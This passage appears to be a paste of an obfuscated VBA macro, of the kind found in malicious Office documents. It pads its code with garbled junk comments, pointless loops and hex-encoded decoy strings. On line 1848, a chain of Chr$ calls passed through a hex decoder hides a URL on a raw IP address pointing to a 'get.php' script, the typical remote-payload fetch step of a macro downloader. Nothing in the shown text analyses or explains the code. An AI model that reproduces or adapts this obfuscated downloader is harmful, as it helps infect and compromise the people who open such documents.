  1716. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1717. BOrMtblC = GIYbonflbkpgerg("202020202020202020202046494B435656202020202020202020202020202020")
  1718. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1719. RRQgkMqG = LTrim(BOrMtblC)
  1720. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1721. oblOTheU = RTrim(RRQgkMqG)
  1722.  
  1723. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1724. DoEvents: rLvqtyoi = rLvqtyoi + 1
  1725. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1726. Dim WZlOTnbc, plcfQsQy, SESimOmn As String
  1727. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1728. WZlOTnbc = GIYbonflbkpgerg("202020202020202020202044434F594E43202020202020202020202020202020")
  1729. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1730. plcfQsQy = LTrim(WZlOTnbc)
  1731. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1732. SESimOmn = RTrim(plcfQsQy)
  1733.  
  1734. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1735. Loop
  1736.  
  1737. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1738. Dim CPeArcbg, oHGRYsEb, unlkRfoV As String
  1739. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1740. CPeArcbg = GIYbonflbkpgerg("2020202020202020202020434547434846202020202020202020202020202020")
  1741. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1742. oHGRYsEb = LTrim(CPeArcbg)
  1743. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1744. unlkRfoV = RTrim(oHGRYsEb)
  1745.  
  1746. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1747. KnRyxuFT = LTrim(hhhdDOts)
  1748.  
  1749. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1750. Dim mNMZgJtz As Integer
  1751. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1752. Dim dgIecLbV, ogKgKVCB, rhzndzmN As String
  1753. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1754. dgIecLbV = GIYbonflbkpgerg("202020202020202020202044574C594548202020202020202020202020202020")
  1755. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1756. ogKgKVCB = LTrim(dgIecLbV)
  1757. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1758. rhzndzmN = RTrim(ogKgKVCB)
  1759.  
  1760. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1761. mNMZgJtz = 5
  1762. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1763. Do While mNMZgJtz < 48
  1764. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1765. Dim uwFvJgnx, QkwLrPlg, jdrfjtpy As String
  1766. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1767. uwFvJgnx = GIYbonflbkpgerg("2020202020202020202020514A59525A4E202020202020202020202020202020")
  1768. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1769. QkwLrPlg = LTrim(uwFvJgnx)
  1770. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1771. jdrfjtpy = RTrim(QkwLrPlg)
  1772.  
  1773. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1774. DoEvents: mNMZgJtz = mNMZgJtz + 1
  1775. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1776. Dim axAoQzWD, EIGembRi, KvWYnqHH As String
  1777. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1778. axAoQzWD = GIYbonflbkpgerg("202020202020202020202043544B4E4B52202020202020202020202020202020")
  1779. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1780. EIGembRi = LTrim(axAoQzWD)
  1781. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1782. KvWYnqHH = RTrim(EIGembRi)
  1783.  
  1784. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1785. Loop
  1786.  
  1787. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1788. Dim FliRbePt, NvMUaJFh, sRYPETJn As String
  1789. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1790. FliRbePt = GIYbonflbkpgerg("20202020202020202020204B4D4B424145202020202020202020202020202020")
  1791. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1792. NvMUaJFh = LTrim(FliRbePt)
  1793. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1794. sRYPETJn = RTrim(NvMUaJFh)
  1795.  
  1796. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1797. ujPPZKNf = RTrim(KnRyxuFT)
  1798.  
  1799.  
  1800. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1801. Dim AfsqhWZR As Integer
  1802. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1803. Dim eNALqIYP, BNQtRSrQ, MaXjBJnS As String
  1804. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1805. eNALqIYP = GIYbonflbkpgerg("2020202020202020202020494648414351202020202020202020202020202020")
  1806. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1807. BNQtRSrQ = LTrim(eNALqIYP)
  1808. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1809. MaXjBJnS = RTrim(BNQtRSrQ)
  1810.  
  1811. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1812. AfsqhWZR = 6
  1813. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1814. Do While AfsqhWZR < 75
  1815. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1816. Dim CasGflPo, ZXMpnDZa, iKARDolL As String
  1817. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1818. CasGflPo = GIYbonflbkpgerg("202020202020202020202059554B44445A202020202020202020202020202020")
  1819. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1820. ZXMpnDZa = LTrim(CasGflPo)
  1821. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1822. iKARDolL = RTrim(ZXMpnDZa)
  1823.  
  1824. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1825. DoEvents: AfsqhWZR = AfsqhWZR + 1
  1826. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1827. Dim pvhPVhEC, SORRUSdk, abPiDvvN As String
  1828. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1829. pvhPVhEC = GIYbonflbkpgerg("20202020202020202020205A5453465651202020202020202020202020202020")
  1830. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1831. SORRUSdk = LTrim(pvhPVhEC)
  1832. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1833. abPiDvvN = RTrim(SORRUSdk)
  1834.  
  1835. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1836. Loop
  1837.  
  1838. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1839. Dim JCAESdGx, HUthPgmX, zDJldevy As String
  1840. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1841. JCAESdGx = GIYbonflbkpgerg("20202020202020202020204D505A565549202020202020202020202020202020")
  1842. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1843. HUthPgmX = LTrim(JCAESdGx)
  1844. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1845. zDJldevy = RTrim(HUthPgmX)
  1846.  
  1847. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1848. yfVUGJK = GIYbonflbkpgerg(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(48) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(55) & Chr$(48))
  1849.  
  1850. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1851. Dim OxBfkhBI, WZQjMreL, uIclwKyr As String
  1852.  
  1853. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1854. Dim FOkSzTPv As Integer
  1855. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1856. Dim psbZtOWf, tdOFbDlg, adLNMKHh As String
  1857. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1858. psbZtOWf = GIYbonflbkpgerg("2020202020202020202020514D474C4D51202020202020202020202020202020")
  1859. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1860. tdOFbDlg = LTrim(psbZtOWf)
  1861. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1862. adLNMKHh = RTrim(tdOFbDlg)
  1863.  
  1864. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1865. FOkSzTPv = 8
  1866. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1867. Do While FOkSzTPv < 19
  1868. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1869. Dim iKVAPnhP, aiGdAURf, YrxUFewy As String
  1870. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1871. iKVAPnhP = GIYbonflbkpgerg("20202020202020202020204C5347464642202020202020202020202020202020")
  1872. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1873. aiGdAURf = LTrim(iKVAPnhP)
  1874. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1875. YrxUFewy = RTrim(aiGdAURf)
  1876.  
  1877. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1878. DoEvents: FOkSzTPv = FOkSzTPv + 1
  1879. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1880. Dim NpqduCGh, fNjHsIaV, ZHwlkldY As String
  1881. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1882. NpqduCGh = GIYbonflbkpgerg("20202020202020202020204846544D444F202020202020202020202020202020")
  1883. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1884. fNjHsIaV = LTrim(NpqduCGh)
  1885. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1886. ZHwlkldY = RTrim(fNjHsIaV)
  1887.  
  1888. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1889. Loop
  1890.  
  1891. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1892. Dim drnMlqrT, vpdCMVuH, cMHOKNDg As String
  1893. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1894. drnMlqrT = GIYbonflbkpgerg("2020202020202020202020544441594355202020202020202020202020202020")
  1895. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1896. vpdCMVuH = LTrim(drnMlqrT)
  1897. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1898. cMHOKNDg = RTrim(vpdCMVuH)
  1899.  
  1900. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1901. OxBfkhBI = GIYbonflbkpgerg("2020202020202020202020484346484350202020202020202020202020202020")
  1902.  
  1903. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1904. Dim jwzMHIbd As Integer
  1905. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1906. Dim SZrAqRaW, IEgFRIvX, ERvNBDXC As String
  1907. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1908. SZrAqRaW = GIYbonflbkpgerg("20202020202020202020204E5A524C434F202020202020202020202020202020")
  1909. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1910. IEgFRIvX = LTrim(SZrAqRaW)
  1911. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1912. ERvNBDXC = RTrim(IEgFRIvX)
  1913.  
  1914. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1915. jwzMHIbd = 4
  1916. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1917. Do While jwzMHIbd < 95
  1918. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1919. Dim XHDAuZDo, AQwXlCTN, lzsUqrMR As String
  1920. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1921. XHDAuZDo = GIYbonflbkpgerg("202020202020202020202044535046424E202020202020202020202020202020")
  1922. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1923. AQwXlCTN = LTrim(XHDAuZDo)
